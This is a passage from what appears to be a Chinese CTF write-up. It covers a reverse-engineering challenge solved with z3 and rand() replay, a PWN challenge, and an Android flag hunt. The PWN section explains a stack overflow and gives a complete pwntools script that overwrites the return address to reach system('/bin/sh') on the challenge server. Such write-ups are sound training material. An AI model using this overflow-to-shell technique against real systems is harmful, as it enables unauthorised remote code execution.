12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
if ( strlen(s) == 32 )
{
v3 = unk_6020B0;
v4 = unk_6020B4;
v5 = unk_6020B8;
v6 = unk_6020BC;
result = 0;
if ( dword_6020A4 * (signed __int64)*(signed int *)s - dword_6020AC * (signed __int64)dword_6020A8 == 2652042832920173142LL
&& 3LL * dword_6020A8 + 4LL * dword_6020AC - dword_6020A4 - 2LL * *(signed int *)s == 397958918
&& 3 * *(signed int *)s * (signed __int64)dword_6020AC - dword_6020A8 * (signed __int64)dword_6020A4 == 3345692380376715070LL
&& 27LL * dword_6020A4 + *(signed int *)s - 11LL * dword_6020AC - dword_6020A8 == 40179413815LL )
{
srand(dword_6020A8 ^ dword_6020A4 ^ *(_DWORD *)s ^ dword_6020AC);
v1 = rand() % 50;
v2 = rand() % 50;
v7 = rand() % 50;
v8 = rand() % 50;
v9 = rand() % 50;
v10 = rand() % 50;
v11 = rand() % 50;
v12 = rand() % 50;
if ( v6 * v2 + v3 * v1 - v4 - v5 == 61799700179LL
&& v6 + v3 + v5 * v8 - v4 * v7 == 48753725643LL
&& v3 * v9 + v4 * v10 - v5 - v6 == 59322698861LL
&& v5 * v12 + v3 - v4 - v6 * v11 == 51664230587LL )
result = 1;
}
}

结合动态分析,程序先判断输入值长度是否为32位,接下来将输入值进行拆分成

1
2
s、dword_6020A4、dword_6020A8、dword_6020AC、
unk_6020B0(v3)、unk_6020B4(v4)、unk_6020B8(v5)、unk_6020BC(v6)

依次验证,满足条件即返回1,则通过校验。

详细看看第8-13行,4个未知数和四个方程,emmm。

1
2
3
4
dword_6020A4 *s - dword_6020AC * dword_6020A8 == 2652042832920173142
3 * dword_6020A8 + 4 * dword_6020AC - dword_6020A4 - 2 * s == 397958918
3 * s * dword_6020AC - dword_6020A8 * dword_6020A4 == 3345692380376715070
27 * dword_6020A4 + s - 11 * dword_6020AC - dword_6020A8 == 40179413815

利用python的z3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#/usr/bin/env python
# coding=utf-8
from z3 import *
dword_6020A4 = Int('dword_6020A4')
dword_6020AC = Int('dword_6020AC')
dword_6020A8 = Int('dword_6020A8')
s = Int('s')
solve(dword_6020A4 * s - dword_6020AC * dword_6020A8 == 2652042832920173142 ,
3 * dword_6020A8 + 4 * dword_6020AC - dword_6020A4 - 2 * s == 397958918 ,
3 * s * dword_6020AC - dword_6020A8 * dword_6020A4 == 3345692380376715070 ,
27 * dword_6020A4 + s - 11 * dword_6020AC - dword_6020A8 == 40179413815 )
运算结果:
s = 1869639009
dword_6020A4 = 1801073242
dword_6020A8 = 829124174
dword_6020AC = 862734414

接下来到异或运算,直接用C语言

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <stdio.h>
#include<stdlib.h>
int v1,v2,v7,v8,v9,v10,v11,v12;
int main(void) {
srand(829124174 ^ 1801073242 ^ 1869639009 ^ 862734414);
v1 = rand() % 50;
v2 = rand() % 50;
v7 = rand() % 50;
v8 = rand() % 50;
v9 = rand() % 50;
v10 = rand() % 50;
v11 = rand() % 50;
v12 = rand() % 50;
printf(" v1=%d \n v2=%d \n V7=%d \n v8=%d \n v9=%d \n v10=%d \n v11=%d \n v12=%d",v1,v2,v7,v8,v9,v10,v11,v12);
return 0;
}
运算结果:
v1=22
v2=39
V7=45
v8=45
v9=35
v10=41
v11=13
v12=36

然后继续接下来的方程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#/usr/bin/env python
# coding=utf-8
from z3 import *
v3 = Int('v3')
v4 = Int('v4')
v5 = Int('v5')
v6 = Int('v6')
solve(v6 * 39 + v3 * 22 - v4 - v5 == 61799700179,
v6 + v3 + v5 * 45 - v4 * 45 == 48753725643,
v3 * 35 + v4 * 41 - v5 - v6 == 59322698861,
v5 * 36 + v3 - v4 - v6 * 13 == 51664230587,)
运算结果:
v3 = 811816014
v4 = 828593230
v5 = 1867395930
v6 = 1195788129

将数字串转换成字符串。

1
2
3
4
5
6
7
8
9
10
11
#/usr/bin/env python
# coding=utf-8
import libnum
flag = ""
x = [1869639009,1801073242,829124174,862734414,811816014,828593230,1867395930,1195788129]
for y in x:
flag += libnum.n2s(y)[::-1]
print flag
运算结果:
ampoZ2ZkNnk1NHl3NTc0NTc1Z3NoaGFG

得出正确的输入值,输入输出

0x04 PWN

Login

题目:nc 47.104.16.75 9000

程序地址:Pwn-Login

下载附件倒入IDA进行分析

程序运行过程:

1
main()-->Login()-->Menu()-->ExecCmd()-->ShowUserlist()...

查看Login()内容,总的看没什么特别的,接下来看Menu()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
{
__int64 result; // rax@6
char buf[68]; // [sp+0h] [bp-50h]@1
int v2; // [sp+44h] [bp-Ch]@2
__int64 v3; // [sp+48h] [bp-8h]@1
memset(buf, 0, 0x40uLL);
v3 = 0LL;
do
{
while ( 1 )
{
while ( 1 )
{
puts("\nPanel\n\n1. exec command\n2. show user list\n3. exit\n");
printf("Your choice: ");
fflush(_bss_start);
v2 = read(0, buf, 0x280uLL);
buf[v2] = 0;
if ( buf[0] != 49 )
break;
ExecCmd();
}
if ( buf[0] != 50 )
break;
ShowUserlist(0LL, buf);
}
result = (unsigned __int8)buf[0];
}
while ( buf[0] != 51 );
return result;

注意看第18行的代码。非常简单,单纯的读取一串字符串,然后储存在buf里面,但是,开辟的缓存区只有0x50字节大小,但是read最多可以读取0x280字节大小,这样就会造成缓存区溢出,也就是栈溢出漏洞。

接下来再看ExecCmd()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int ExecCmd()
{
int result; // eax@2
char *v1; // [sp+0h] [bp-10h]@3
if ( !strcmp(strUsername, "admin") ) //判断是否为admin用户
{
printf("Command: ", "admin", 0LL);
fflush(_bss_start);
fgets(cmd, 255, stdin);
v1 = strchr(cmd, 10);
if ( v1 )
*v1 = 0;
result = puts("Sorry, this feature has been disabled.");
}
else
{
result = puts("Sorry, this feature is only available for admin");
}
return result;
}

我们要做的:如下图,程序不经过红框内,直接跳过输出。

也就是将return修改到call system,记住交互的最后还得输入一个3退出while循环

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
context.log_level = 'debug'
p = remote('47.104.16.75',9000)
#p = process('./pwn50')
p.recvuntil(":")
p.sendline("admin") #Send username
p.recvuntil(":")
p.sendline("T6OBSh2i") #Send password
p.recvuntil(": ")
p.sendline("1") #Choose 1. exec command
p.recvuntil(": ")
p.sendline("/bin/sh") #Send cmd
p.recvuntil(": ")
p.sendline("\x90"*0x58 + p64(0x40084A)) #Change return address
p.recvuntil(": ")
p.sendline("3")
p.interactive()

flag{welcome_to_iscc}

Mobile

小试牛刀

附件地址:小试牛刀

拖进JEB2,查看Manifestaction等基础信息。这道题的坑就是壳的问题。

后来发现,Assets中的bfsprotect.jar就是源码。

右键MainActivity选择Decompile查看源码,一览无遗。

onCreate()中发现了下面这个判断,与APP页面的判断显示一致。

1
2
3
4
5
6
7
8
public void onClick(View arg5) {
if(!new ProtectClass().protectMethod(MainActivity.this.editText.getText().toString())) {
Toast.makeText(MainActivity.this, "Wrong Flag", 0).show();
}
else {
Toast.makeText(MainActivity.this, "Correct Flag", 0).show();
}
}

进入ProtectClass()查看,就能看到对比的值,也就是flag值

1
2
3
4
5
6
7
public boolean protectMethod(String arg4) {
int v1;
for(v1 = 0; v1 < MainActivity.runTimes >> 1; ++v1) {
}
return arg4.equals("BFS-ISCC");
}

或者,打开bfsprotect.jar,直接搜索iscc即可得到flag

!坚持技术分享,您的支持将鼓励我继续创作!